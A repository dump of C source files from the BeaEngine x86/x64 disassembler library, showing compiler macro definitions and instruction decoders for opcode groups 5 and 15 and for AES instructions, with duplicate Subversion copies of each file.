defined(_MSC_VER) 39 | #pragma warning( disable: 4251 ) 40 | #endif 41 | 42 | /* Some compilers use a special export keyword */ 43 | #ifndef bea__api_export__ 44 | # if defined(__BEOS__) 45 | # if defined(__GNUC__) 46 | # define bea__api_export__ __declspec(dllexport) 47 | # else 48 | # define bea__api_export__ __declspec(export) 49 | # endif 50 | # elif defined(_WIN32) || defined(_WIN64) 51 | # ifdef __BORLANDC__ 52 | # define bea__api_export__ __declspec(dllexport) 53 | # define bea__api_import__ __declspec(dllimport) 54 | # elif defined(__WATCOMC__) 55 | # define bea__api_export__ __declspec(dllexport) 56 | # define bea__api_import__ 57 | # else 58 | # define bea__api_export__ __declspec(dllexport) 59 | # define bea__api_import__ __declspec(dllimport) 60 | # endif 61 | # elif defined(__OS2__) 62 | # ifdef __WATCOMC__ 63 | # define bea__api_export__ __declspec(dllexport) 64 | # define bea__api_import__ 65 | # else 66 | # define bea__api_export__ 67 | # define bea__api_import__ 68 | # endif 69 | # else 70 | # if defined(_WIN32) && defined(__GNUC__) && __GNUC__ >= 4 71 | # define bea__api_export__ __attribubea__ ((visibility("default"))) 72 | # define bea__api_import__ __attribubea__ ((visibility("default"))) 73 | # else 74 | # define bea__api_export__ 75 | # define bea__api_import__ 76 | # endif 77 | # endif 78 | #endif 79 | 80 | /* Use C calling convention by default*/ 81 | 82 | #ifndef __bea_callspec__ 83 | #if defined(BEA_USE_STDCALL) 84 | #if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) || defined(_WIN64) 85 | #if defined(__BORLANDC__) || defined(__WATCOMC__) || defined(_MSC_VER) || defined(__MINGW32__) || defined(__POCC__) 86 | #define __bea_callspec__ __stdcall 87 | #else 88 | #define __bea_callspec__ 89 | #endif 90 | #else 91 | #ifdef __OS2__ 92 | #define __bea_callspec__ _System 93 | #else 94 | #define __bea_callspec__ 95 | #endif 96 | #endif 97 | #else 98 | #define __bea_callspec__ 99 | #endif 100 | #endif 101 | 102 | #ifdef __SYMBIAN32__ 103 | # ifndef EKA2 104 | # undef bea__api_export__ 105 | # undef bea__api_import__ 106 | # define bea__api_export__ 107 | # define bea__api_import__ 108 | # elif !defined(__WINS__) 109 | # undef bea__api_export__ 110 | # undef bea__api_import__ 111 | # define bea__api_export__ __declspec(dllexport) 112 | # define bea__api_import__ __declspec(dllexport) 113 | # endif /* !EKA2 */ 114 | #endif /* __SYMBIAN32__ */ 115 | 116 | 117 | #if defined(__GNUC__) && (__GNUC__ > 2) 118 | #define BEA_EXPECT_CONDITIONAL(c) (__builtin_expect((c), 1)) 119 | #define BEA_UNEXPECT_CONDITIONAL(c) (__builtin_expect((c), 0)) 120 | #else 121 | #define BEA_EXPECT_CONDITIONAL(c) (c) 122 | #define BEA_UNEXPECT_CONDITIONAL(c) (c) 123 | #endif 124 | 125 | 126 | /* Set up compiler-specific options for inlining functions */ 127 | #ifndef BEA_HAS_INLINE 128 | #if defined(__GNUC__) || defined(__POCC__) || defined(__WATCOMC__) || defined(__SUNPRO_C) 129 | #define BEA_HAS_INLINE 130 | #else 131 | /* Add any special compiler-specific cases here */ 132 | #if defined(_MSC_VER) || defined(__BORLANDC__) || \ 133 | defined(__DMC__) || defined(__SC__) || \ 134 | defined(__WATCOMC__) || defined(__LCC__) || \ 135 | defined(__DECC) || defined(__EABI__) 136 | #ifndef __inline__ 137 | #define __inline__ __inline 138 | #endif 139 | #define BEA_HAS_INLINE 140 | #else 141 | #if !defined(__MRC__) && !defined(_SGI_SOURCE) 142 | #ifndef __inline__ 143 | #define __inline__ inline 144 | #endif 145 | #define BEA_HAS_INLINE 146 | #endif /* Not a funky compiler */ 147 | #endif /* Visual C++ */ 148 | #endif /* GNU C */ 149 | #endif /* CACHE_HAS_INLINE */ 150 | 151 | /* If inlining isn't supported, remove "__inline__", turning static 152 | inlined functions into static functions (resulting in code bloat 153 | in all files which include the offending header files) 154 | */ 155 | #ifndef BEA_HAS_INLINE 156 | #define __inline__ 157 | #endif 158 | 159 | 160 | #endif 161 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp5.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0ffh 21 | * ==================================================================== */ 22 | void __bea_callspec__ G5_Ev(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | if (GV.REGOPCODE == 0) { 26 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 27 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 28 | } 29 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); 31 | Ev(pMyDisasm); 32 | FillFlags(pMyDisasm, 40); 33 | } 34 | else if (GV.REGOPCODE == 1) { 35 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 36 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 37 | } 38 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; 39 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); 40 | Ev(pMyDisasm); 41 | FillFlags(pMyDisasm, 30); 42 | } 43 | else if (GV.REGOPCODE == 2) { 44 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; 45 | (*pMyDisasm).Instruction.BranchType = CallType; 46 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call "); 47 | if (GV.Architecture == 64) { 48 | GV.OperandSize = 64; 49 | } 50 | if (GV.OperandSize == 64) { 51 | GV.MemDecoration = Arg1qword; 52 | } 53 | else if (GV.OperandSize == 32) { 54 | GV.MemDecoration = Arg1dword; 55 | } 56 | else { 57 | GV.MemDecoration = Arg1word; 58 | } 59 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 60 | GV.EIP_ += GV.DECALAGE_EIP+2; 61 | (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; 62 | } 63 | else if (GV.REGOPCODE == 3) { 64 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; 65 | (*pMyDisasm).Instruction.BranchType = CallType; 66 | if (GV.SYNTAX_ == ATSyntax) { 67 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lcall "); 68 | } 69 | else { 70 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call far "); 71 | } 72 | GV.MemDecoration = Arg1fword; 73 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 74 | GV.EIP_ += GV.DECALAGE_EIP+2; 75 | (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; 76 | } 77 | else if (GV.REGOPCODE == 4) { 78 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; 79 | (*pMyDisasm).Instruction.BranchType = JmpType; 80 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp "); 81 | if (GV.Architecture == 64) { 82 | GV.OperandSize = 64; 83 | } 84 | if (GV.OperandSize == 64) { 85 | GV.MemDecoration = Arg1qword; 86 | } 87 | else if (GV.OperandSize == 32) { 88 | GV.MemDecoration = Arg1dword; 89 | } 90 | else { 91 | GV.MemDecoration = Arg1word; 92 | } 93 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 94 | GV.EIP_ += GV.DECALAGE_EIP+2; 95 | } 96 | else if (GV.REGOPCODE == 5) { 97 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; 98 | (*pMyDisasm).Instruction.BranchType = CallType; 99 | if (GV.SYNTAX_ == ATSyntax) { 100 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ljmp "); 101 | } 102 | else { 103 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp far "); 104 | } 105 | GV.MemDecoration = Arg1fword; 106 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 107 | GV.EIP_ += GV.DECALAGE_EIP+2; 108 | } 109 | else if (GV.REGOPCODE == 6) { 110 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; 111 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); 112 | if (GV.Architecture == 64) { 113 | GV.OperandSize = 64; 114 | } 115 | if (GV.OperandSize == 64) { 116 | GV.MemDecoration = Arg2qword; 117 | } 118 | else if (GV.OperandSize == 32) { 119 | GV.MemDecoration = Arg2dword; 120 | } 121 | else { 122 | GV.MemDecoration = Arg2word; 123 | } 124 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 125 | GV.EIP_ += GV.DECALAGE_EIP+2; 126 | (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; 127 | (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; 128 | (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; 129 | (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; 130 | } 131 | else { 132 | FailDecode(pMyDisasm); 133 | } 134 | } 135 | 136 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_Grp5.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0ffh 21 | * ==================================================================== */ 22 | void __bea_callspec__ G5_Ev(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | if (GV.REGOPCODE == 0) { 26 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 27 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 28 | } 29 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc "); 31 | Ev(pMyDisasm); 32 | FillFlags(pMyDisasm, 40); 33 | } 34 | else if (GV.REGOPCODE == 1) { 35 | if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { 36 | (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; 37 | } 38 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; 39 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec "); 40 | Ev(pMyDisasm); 41 | FillFlags(pMyDisasm, 30); 42 | } 43 | else if (GV.REGOPCODE == 2) { 44 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; 45 | (*pMyDisasm).Instruction.BranchType = CallType; 46 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call "); 47 | if (GV.Architecture == 64) { 48 | GV.OperandSize = 64; 49 | } 50 | if (GV.OperandSize == 64) { 51 | GV.MemDecoration = Arg1qword; 52 | } 53 | else if (GV.OperandSize == 32) { 54 | GV.MemDecoration = Arg1dword; 55 | } 56 | else { 57 | GV.MemDecoration = Arg1word; 58 | } 59 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 60 | GV.EIP_ += GV.DECALAGE_EIP+2; 61 | (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; 62 | } 63 | else if (GV.REGOPCODE == 3) { 64 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; 65 | (*pMyDisasm).Instruction.BranchType = CallType; 66 | if (GV.SYNTAX_ == ATSyntax) { 67 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lcall "); 68 | } 69 | else { 70 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call far "); 71 | } 72 | GV.MemDecoration = Arg1fword; 73 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 74 | GV.EIP_ += GV.DECALAGE_EIP+2; 75 | (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; 76 | } 77 | else if (GV.REGOPCODE == 4) { 78 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; 79 | (*pMyDisasm).Instruction.BranchType = JmpType; 80 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp "); 81 | if (GV.Architecture == 64) { 82 | GV.OperandSize = 64; 83 | } 84 | if (GV.OperandSize == 64) { 85 | GV.MemDecoration = Arg1qword; 86 | } 87 | else if (GV.OperandSize == 32) { 88 | GV.MemDecoration = Arg1dword; 89 | } 90 | else { 91 | GV.MemDecoration = Arg1word; 92 | } 93 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 94 | GV.EIP_ += GV.DECALAGE_EIP+2; 95 | } 96 | else if (GV.REGOPCODE == 5) { 97 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; 98 | (*pMyDisasm).Instruction.BranchType = CallType; 99 | if (GV.SYNTAX_ == ATSyntax) { 100 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ljmp "); 101 | } 102 | else { 103 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp far "); 104 | } 105 | GV.MemDecoration = Arg1fword; 106 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 107 | GV.EIP_ += GV.DECALAGE_EIP+2; 108 | } 109 | else if (GV.REGOPCODE == 6) { 110 | (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; 111 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push "); 112 | if (GV.Architecture == 64) { 113 | GV.OperandSize = 64; 114 | } 115 | if (GV.OperandSize == 64) { 116 | GV.MemDecoration = Arg2qword; 117 | } 118 | else if (GV.OperandSize == 32) { 119 | GV.MemDecoration = Arg2dword; 120 | } 121 | else { 122 | GV.MemDecoration = Arg2word; 123 | } 124 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 125 | GV.EIP_ += GV.DECALAGE_EIP+2; 126 | (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; 127 | (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; 128 | (*pMyDisasm).Argument1.Memory.BaseRegister = REG4; 129 | (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; 130 | } 131 | else { 132 | FailDecode(pMyDisasm); 133 | } 134 | } 135 | 136 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_AES.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0x 0f 38 db 21 | * ==================================================================== */ 22 | void __bea_callspec__ aesimc(PDISASM pMyDisasm) 23 | { 24 | /* ========== 0x66 */ 25 | if (GV.OperandSize == 16) { 26 | GV.OperandSize = GV.OriginalOperandSize; 27 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 28 | GV.MemDecoration = Arg2dqword; 29 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesimc "); 31 | GV.SSE_ = 1; 32 | GxEx(pMyDisasm); 33 | GV.SSE_ = 0; 34 | } 35 | else { 36 | FailDecode(pMyDisasm); 37 | } 38 | } 39 | 40 | /* ==================================================================== 41 | * 0x 0f 38 dc 42 | * ==================================================================== */ 43 | void __bea_callspec__ aesenc(PDISASM pMyDisasm) 44 | { 45 | /* ========== 0x66 */ 46 | if (GV.OperandSize == 16) { 47 | GV.OperandSize = GV.OriginalOperandSize; 48 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 49 | GV.MemDecoration = Arg2dqword; 50 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 51 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesenc "); 52 | GV.SSE_ = 1; 53 | GxEx(pMyDisasm); 54 | GV.SSE_ = 0; 55 | } 56 | else { 57 | FailDecode(pMyDisasm); 58 | } 59 | } 60 | 61 | /* ==================================================================== 62 | * 0x 0f 38 dd 63 | * ==================================================================== */ 64 | void __bea_callspec__ aesenclast(PDISASM pMyDisasm) 65 | { 66 | /* ========== 0x66 */ 67 | if (GV.OperandSize == 16) { 68 | GV.OperandSize = GV.OriginalOperandSize; 69 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 70 | GV.MemDecoration = Arg2dqword; 71 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 72 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesenclast "); 73 | GV.SSE_ = 1; 74 | GxEx(pMyDisasm); 75 | GV.SSE_ = 0; 76 | } 77 | else { 78 | FailDecode(pMyDisasm); 79 | } 80 | } 81 | 82 | /* ==================================================================== 83 | * 0x 0f 38 de 84 | * ==================================================================== */ 85 | void __bea_callspec__ aesdec(PDISASM pMyDisasm) 86 | { 87 | /* ========== 0x66 */ 88 | if (GV.OperandSize == 16) { 89 | GV.OperandSize = GV.OriginalOperandSize; 90 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 91 | GV.MemDecoration = Arg2dqword; 92 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 93 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesdec "); 94 | GV.SSE_ = 1; 95 | GxEx(pMyDisasm); 96 | GV.SSE_ = 0; 97 | } 98 | else { 99 | FailDecode(pMyDisasm); 100 | } 101 | } 102 | 103 | /* ==================================================================== 104 | * 0x 0f 38 df 105 | * ==================================================================== */ 106 | void __bea_callspec__ aesdeclast(PDISASM pMyDisasm) 107 | { 108 | /* ========== 0x66 */ 109 | if (GV.OperandSize == 16) { 110 | GV.OperandSize = GV.OriginalOperandSize; 111 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 112 | GV.MemDecoration = Arg2dqword; 113 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 114 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesdeclast "); 115 | GV.SSE_ = 1; 116 | GxEx(pMyDisasm); 117 | GV.SSE_ = 0; 118 | } 119 | else { 120 | FailDecode(pMyDisasm); 121 | } 122 | } 123 | 124 | /* ==================================================================== 125 | * 0x 0f 3a df 126 | * ==================================================================== */ 127 | void __bea_callspec__ aeskeygen(PDISASM pMyDisasm) 128 | { 129 | /* ========== 0x66 */ 130 | if (GV.OperandSize == 16) { 131 | GV.OperandSize = GV.OriginalOperandSize; 132 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 133 | GV.MemDecoration = Arg2dqword; 134 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 135 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aeskeygen-assist "); 136 | GV.SSE_ = 1; 137 | GxEx(pMyDisasm); 138 | GV.SSE_ = 0; 139 | GV.EIP_++; 140 | if (!Security(0, pMyDisasm)) return; 141 | GV.third_arg = 1; 142 | (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); 143 | (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); 144 | (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; 145 | (*pMyDisasm).Argument3.ArgSize = 8; 146 | GV.ImmediatSize = 8; 147 | 148 | } 149 | else { 150 | FailDecode(pMyDisasm); 151 | } 152 | 153 | } 154 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/.svn/text-base/opcodes_AES.c.svn-base: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 0x 0f 38 db 21 | * ==================================================================== */ 22 | void __bea_callspec__ aesimc(PDISASM pMyDisasm) 23 | { 24 | /* ========== 0x66 */ 25 | if (GV.OperandSize == 16) { 26 | GV.OperandSize = GV.OriginalOperandSize; 27 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 28 | GV.MemDecoration = Arg2dqword; 29 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesimc "); 31 | GV.SSE_ = 1; 32 | GxEx(pMyDisasm); 33 | GV.SSE_ = 0; 34 | } 35 | else { 36 | FailDecode(pMyDisasm); 37 | } 38 | } 39 | 40 | /* ==================================================================== 41 | * 0x 0f 38 dc 42 | * ==================================================================== */ 43 | void __bea_callspec__ aesenc(PDISASM pMyDisasm) 44 | { 45 | /* ========== 0x66 */ 46 | if (GV.OperandSize == 16) { 47 | GV.OperandSize = GV.OriginalOperandSize; 48 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 49 | GV.MemDecoration = Arg2dqword; 50 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 51 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesenc "); 52 | GV.SSE_ = 1; 53 | GxEx(pMyDisasm); 54 | GV.SSE_ = 0; 55 | } 56 | else { 57 | FailDecode(pMyDisasm); 58 | } 59 | } 60 | 61 | /* ==================================================================== 62 | * 0x 0f 38 dd 63 | * ==================================================================== */ 64 | void __bea_callspec__ aesenclast(PDISASM pMyDisasm) 65 | { 66 | /* ========== 0x66 */ 67 | if (GV.OperandSize == 16) { 68 | GV.OperandSize = GV.OriginalOperandSize; 69 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 70 | GV.MemDecoration = Arg2dqword; 71 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 72 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesenclast "); 73 | GV.SSE_ = 1; 74 | GxEx(pMyDisasm); 75 | GV.SSE_ = 0; 76 | } 77 | else { 78 | FailDecode(pMyDisasm); 79 | } 80 | } 81 | 82 | /* ==================================================================== 83 | * 0x 0f 38 de 84 | * ==================================================================== */ 85 | void __bea_callspec__ aesdec(PDISASM pMyDisasm) 86 | { 87 | /* ========== 0x66 */ 88 | if (GV.OperandSize == 16) { 89 | GV.OperandSize = GV.OriginalOperandSize; 90 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 91 | GV.MemDecoration = Arg2dqword; 92 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 93 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesdec "); 94 | GV.SSE_ = 1; 95 | GxEx(pMyDisasm); 96 | GV.SSE_ = 0; 97 | } 98 | else { 99 | FailDecode(pMyDisasm); 100 | } 101 | } 102 | 103 | /* ==================================================================== 104 | * 0x 0f 38 df 105 | * ==================================================================== */ 106 | void __bea_callspec__ aesdeclast(PDISASM pMyDisasm) 107 | { 108 | /* ========== 0x66 */ 109 | if (GV.OperandSize == 16) { 110 | GV.OperandSize = GV.OriginalOperandSize; 111 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 112 | GV.MemDecoration = Arg2dqword; 113 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 114 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesdeclast "); 115 | GV.SSE_ = 1; 116 | GxEx(pMyDisasm); 117 | GV.SSE_ = 0; 118 | } 119 | else { 120 | FailDecode(pMyDisasm); 121 | } 122 | } 123 | 124 | /* ==================================================================== 125 | * 0x 0f 3a df 126 | * ==================================================================== */ 127 | void __bea_callspec__ aeskeygen(PDISASM pMyDisasm) 128 | { 129 | /* ========== 0x66 */ 130 | if (GV.OperandSize == 16) { 131 | GV.OperandSize = GV.OriginalOperandSize; 132 | (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; 133 | GV.MemDecoration = Arg2dqword; 134 | (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; 135 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aeskeygen-assist "); 136 | GV.SSE_ = 1; 137 | GxEx(pMyDisasm); 138 | GV.SSE_ = 0; 139 | GV.EIP_++; 140 | if (!Security(0, pMyDisasm)) return; 141 | GV.third_arg = 1; 142 | (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); 143 | (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); 144 | (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; 145 | (*pMyDisasm).Argument3.ArgSize = 8; 146 | GV.ImmediatSize = 8; 147 | 148 | } 149 | else { 150 | FailDecode(pMyDisasm); 151 | } 152 | 153 | } 154 | -------------------------------------------------------------------------------- /beaengineSources/Includes/instr_set/opcodes_Grp15.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2006-2009, BeatriX 2 | * File coded by BeatriX 3 | * 4 | * This file is part of BeaEngine. 5 | * 6 | * BeaEngine is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU Lesser General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * BeaEngine is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public License 17 | * along with BeaEngine. If not, see . */ 18 | 19 | /* ==================================================================== 20 | * 21 | * ==================================================================== */ 22 | void __bea_callspec__ G15_(PDISASM pMyDisasm) 23 | { 24 | GV.REGOPCODE = ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 3) & 0x7; 25 | if (GV.REGOPCODE == 0) { 26 | MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); 27 | if (GV.MOD_!= 0x3) { 28 | GV.MemDecoration = Arg1multibytes; 29 | (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; 30 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxsave "); 31 | (*pMyDisasm).Argument1.ArgSize = 512; 32 | (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+FPU_REG+MMX_REG+SSE_REG; 33 | (*pMyDisasm).Argument2.ArgSize = 512; 34 | } 35 | else { 36 | FailDecode(pMyDisasm); 37 | } 38 | } 39 | else if (GV.REGOPCODE == 1) { 40 | MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); 41 | if (GV.MOD_!= 0x3) { 42 | GV.MemDecoration = Arg2multibytes; 43 | (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION+STATE_MANAGEMENT; 44 | (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxrstor "); 45 | (*pMyDisasm).Argument2.ArgSize = 512; 46 | (*pMyDisasm).Argument1.ArgType = 